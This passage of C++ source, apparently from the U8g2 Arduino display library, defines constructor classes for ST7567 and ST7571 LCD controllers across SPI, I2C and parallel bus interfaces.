u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_HEM6432_1_6800 : public U8G2 { public: U8G2_ST7567_HEM6432_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_HEM6432_1_8080 : public U8G2 { public: U8G2_ST7567_HEM6432_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_64X32_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_64X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_64X32_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_64X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_64X32_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_64X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_64X32_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_64X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_64X32_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_64X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_64X32_2_6800 : public U8G2 { public: U8G2_ST7567_64X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_64X32_2_8080 : public U8G2 { public: U8G2_ST7567_64X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_HEM6432_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_HEM6432_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_HEM6432_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_HEM6432_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_HEM6432_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_HEM6432_2_6800 : public U8G2 { public: U8G2_ST7567_HEM6432_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_HEM6432_2_8080 : public U8G2 { public: U8G2_ST7567_HEM6432_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_64X32_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_64X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_64X32_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_64X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_64X32_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_64X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_64X32_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_64X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_64X32_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_64X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_64X32_F_6800 : public U8G2 { public: U8G2_ST7567_64X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_64X32_F_8080 : public U8G2 { public: U8G2_ST7567_64X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_64x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_HEM6432_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_HEM6432_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_HEM6432_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_HEM6432_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_HEM6432_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_HEM6432_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_HEM6432_F_6800 : public U8G2 { public: U8G2_ST7567_HEM6432_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_HEM6432_F_8080 : public U8G2 { public: U8G2_ST7567_HEM6432_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_64X32_1_SW_I2C : public U8G2 { public: U8G2_ST7567_64X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_64X32_1_HW_I2C : public U8G2 { public: U8G2_ST7567_64X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_64X32_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_64X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_HEM6432_1_SW_I2C : public U8G2 { public: U8G2_ST7567_HEM6432_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_HEM6432_1_HW_I2C : public U8G2 { public: U8G2_ST7567_HEM6432_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_HEM6432_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_HEM6432_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_hem6432_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_64X32_2_SW_I2C : public U8G2 { public: U8G2_ST7567_64X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_64X32_2_HW_I2C : public U8G2 { public: U8G2_ST7567_64X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_64X32_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_64X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_HEM6432_2_SW_I2C : public U8G2 { public: U8G2_ST7567_HEM6432_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_HEM6432_2_HW_I2C : public U8G2 { public: U8G2_ST7567_HEM6432_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_HEM6432_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_HEM6432_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_hem6432_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_64X32_F_SW_I2C : public U8G2 { public: U8G2_ST7567_64X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_64X32_F_HW_I2C : public U8G2 { public: U8G2_ST7567_64X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_64X32_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_64X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_HEM6432_F_SW_I2C : public U8G2 { public: U8G2_ST7567_HEM6432_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_HEM6432_F_HW_I2C : public U8G2 { public: U8G2_ST7567_HEM6432_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_HEM6432_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_HEM6432_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_hem6432_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7571_128X128_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7571_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7571_128X128_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X128_1_6800 : public U8G2 { public: U8G2_ST7571_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X128_1_8080 : public U8G2 { public: U8G2_ST7571_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X128_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7571_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7571_128X128_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X128_2_6800 : public U8G2 { public: U8G2_ST7571_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X128_2_8080 : public U8G2 { public: U8G2_ST7571_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X128_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7571_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), 